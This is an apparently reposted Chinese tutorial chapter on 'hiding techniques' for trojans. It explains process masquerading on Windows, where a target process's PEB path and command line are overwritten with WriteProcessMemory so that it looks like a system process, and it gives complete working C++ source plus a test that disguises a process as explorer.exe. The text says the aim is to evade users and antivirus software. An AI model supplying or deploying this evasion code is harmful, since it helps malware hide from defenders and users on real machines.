第七章 隐藏技术---进程伪装

2021/9/26 7:11:11

本文主要是介绍第七章 隐藏技术---进程伪装,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

一、进程伪装

对于木马病毒来说,最简单的进程伪装方式就是修改进程名称。例如,将本地文件名称修改为svchost.exe、services.exe等系统进程,从而不被用户和杀软发现。接下来,将要介绍的进程伪装可以修改任意指定进程的信息,即该进程信息在系统中显示的时另一个进程的信息。这样,指定进程与伪装进程的信息相同,但实际上,它还执行原来的进程的操作,这就达到了伪装的目的。
基础知识:1、什么时PEB(Process Envirorment Block Structure)
https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb
英文翻译过来就是进程环境信息块,这里包含了一写进程的信息。

二、API

1、NtQueryInformationProcess函数
获取指定进程的信息
https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess
注意:此函数没有关联的导入库,所以必须使用LoadLibrary和GetProcessAddress函数从Ntdll.dlll中获取该函数地址
2、PROCESS_BASIC_INFORMATION结构体
https://baike.baidu.com/item/PROCESS_INFORMATION/4931802?fr=aladdin

三、实现原理

进程伪装的原理不是很复杂,就是修改指定进程环境快中的进程路径以及命令行信息。所以,实现的关键在于进程环境块的获取。由上述的函数可知,可以通过ntdll.dll中的导出函数NtQueryInformationProcess来获取指定进程的PEB地址。获取目标进程的PEB之后,并不能直接根据指针来读写内存数据,因为该程序进程可能与目标进程并不在同一个进程内。由于进程空间独立性的缘故,所以需要通过调用WIN32 API函数ReadProcessMemory和WriteProcessMemory来读写目标进程内存。
具体的实现流程如下所示:
首先,根据进程的PID号打开指定的进程,并获取进程的句柄。
然后,从ntdll.dll中获取NtQueryInformationProcess函数的导出地址,因为该函数没有关联导入库,所以只能动态获取。
接着,使用NtQueryInformationProcess函数获取指定的进程基本信息PROCESS_BASIC_INFORMATION,并从中获取指定进程的PEB。
最后,就可以根据进程环境块中的ProcessParameters来获取指定进程的RTL_USER_PROCESS_PARAMETERS信息,这是因为PEB的路径信息、命令行信息存储在这个结构体中。调用ReadProcessMemory和WriteProcessMemory函数修改PEB中的路径信息、命令行信息等,从而实现进程伪装。

四、代码实现

DisguiseProcess.h

#ifndef _DISGUISE_PROCESS_H_
#define _DISGUISE_PROCESS_H_

#include <Windows.h>
#include <winternl.h>
#include <stdio.h>
#include <tchar.h>
#include <SDKDDKVer.h>

typedef NTSTATUS(NTAPI* typedef_NtQueryInformationProcess)(
	IN HANDLE ProcessHandle,
	IN PROCESSINFOCLASS ProcessInformationClass,
	OUT PVOID ProcessInformation,
	IN ULONG ProcessInformationLength,
	OUT PULONG ReturnLength OPTIONAL
	);


// 修改指定进程的进程环境块PEB中的路径和命令行信息, 实现进程伪装
BOOL DisguiseProcess(DWORD dwProcessId, wchar_t* lpwszPath, wchar_t* lpwszCmd);

#endif

DisguiseProcess.cpp

#include "DisguiseProcess.h"

void ShowError(char* pszText)
{
	char szErr[MAX_PATH] = { 0 };
	::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
	::MessageBox(NULL, szErr, "ERROR", MB_OK);
}


// 修改指定进程的进程环境块PEB中的路径和命令行信息, 实现进程伪装
BOOL DisguiseProcess(DWORD dwProcessId, wchar_t* lpwszPath, wchar_t* lpwszCmd)
{
	// 打开进程获取句柄
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
	if (NULL == hProcess)
	{
		ShowError("OpenProcess");
		return FALSE;
	}

	typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;
	PROCESS_BASIC_INFORMATION pbi = { 0 };
	PEB peb = { 0 };
	RTL_USER_PROCESS_PARAMETERS Param = { 0 };
	USHORT usCmdLen = 0;
	USHORT usPathLen = 0;
	// 需要通过 LoadLibrary、GetProcessAddress 从 ntdll.dll 中获取地址
	NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(
		::LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");
	if (NULL == NtQueryInformationProcess)
	{
		ShowError("GetProcAddress");
		return FALSE;
	}
	// 获取指定进程的基本信息
	NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
	if (!NT_SUCCESS(status))
	{
		ShowError("NtQueryInformationProcess");
		return FALSE;
	}

	/*
		注意在读写其他进程的时候,注意要使用ReadProcessMemory/WriteProcessMemory进行操作,
		每个指针指向的内容都需要获取,因为指针只能指向本进程的地址空间,必须要读取到本进程空间。
		要不然一直提示位置访问错误!
	*/
	// 获取指定进程进本信息结构中的PebBaseAddress
	ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
	// 获取指定进程环境块结构中的ProcessParameters, 注意指针指向的是指定进程空间中
	ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);

	// 修改指定进程环境块PEB中命令行信息, 注意指针指向的是指定进程空间中
	usCmdLen = 2 + 2 * wcslen(lpwszCmd);
	WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, usCmdLen, NULL);
	::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &usCmdLen, sizeof(usCmdLen), NULL);
	// 修改指定进程环境块PEB中路径信息, 注意指针指向的是指定进程空间中
	usPathLen = 2 + 2 * wcslen(lpwszPath);
	WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, usPathLen, NULL);
	WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &usPathLen, sizeof(usPathLen), NULL);

	return TRUE;
}

DisguiseProcess_Test.cpp

#include "DisguiseProcess.h"

int _tmain(int argc, _TCHAR* argv[])
{
	if (FALSE == DisguiseProcess(9968, L"C:\\Windows\\explorer.exe", L"explorer.exe"))
	{
		printf("Dsisguise Process Error.\n");
	}
	printf("Dsisguise Process OK.\n");

	system("pause");
	return 0;
}

五、小结

注意:1、一定要区分指针指向的是指定进程的空间还是本程序的空间,若指向其他进程空间,则一律使用ReadProcessMemory和WriteProcessMemory函数进行数据读写。
2、PEB修改程序在64位和32位系统中,分别编译为64位程序和32程序



这篇关于第七章 隐藏技术---进程伪装的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程